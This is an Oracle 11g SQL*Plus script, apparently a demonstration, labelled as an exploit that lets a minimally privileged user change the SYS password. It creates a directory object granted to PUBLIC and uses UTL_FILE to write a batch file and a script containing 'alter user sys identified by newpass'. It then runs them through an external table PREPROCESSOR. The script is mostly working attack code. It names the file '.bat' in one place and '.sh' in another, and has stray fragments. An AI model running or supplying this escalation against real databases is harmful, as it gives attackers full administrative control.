

```
priv_escalation_demo
REM Exploit to allow minimally privileged user to change SYS password (works on
Oracle 11g on windows)
REM Values that need to be customized are enclosed in <>
```

```
connect system

set echo on

-- Create directory object
pause
create directory flat_files as '<directory object path>';

-- Grant all on directory to Public (only need Execute for exploit to work)
pause
grant all on directory flat_files to public;

-- Create minimally privileged user
pause
create user ct_user identified by ct_user;

-- Grant connect and create table
pause
grant connect, create table to ct_user;

-- CT_USER connects
pause
connect ct_user/ct_user@<TNS Name>

-- verify user has limited privileges
pause
select * from user_sys_privs;
select * from user_tab_privs;
select * from user_role_privs;

-- Find an "open" directory
pause
select table_name from all_tab_privs where table_name in
(select directory_name from all_directories)
and privilege='EXECUTE';

-- Write a batch file to the directory that will call a sql script
pause
declare
    file utl_file.file_type;
    script varchar2(1000) := 'sqlplus -S -L / as sysdba @<directory object
path>\change_sys_pw.sql';
begin
    file := utl_file.fopen('FLAT_FILES','change_sys_pw.bat','w');
    utl_file.put_line(file, script);
    utl_file.fclose(file);
end;
/

-- Write the change password script that will be called by the batch file
pause
declare
    file utl_file.file_type;
    script varchar2(1000) := 'alter user sys identified by newpass;';
begin
    file := utl_file.fopen('FLAT_FILES','change_sys_pw.sql','w');
    utl_file.put_line(file, script);
    utl_file.fclose(file);
end;
```

priv_escalation_demo

/

-- Create external table used to execute shell script
pause

```
create table exec_script( "dummyrow" varchar2(60))
organization external(
  type oracle_loader default directory flat_files
  access parameters (
    records delimited by newline
    preprocessor flat_files:'change_sys_pw.sh' options '-R'
    badfile flat_files:'exec_script.bad'
    logfile flat_files:'exec_script.log'
    fields terminated by '|'
    missing field values are null (
      "dummyrow" ) )
  location ('change_sys_pw.sh'))
reject limit unlimited;
```

-- Select from external table to execute shell script

-- Run priv_escalation_demo2.sql script to check SYS password before and after this

select

pause

```
select count(*) from exec_script;
```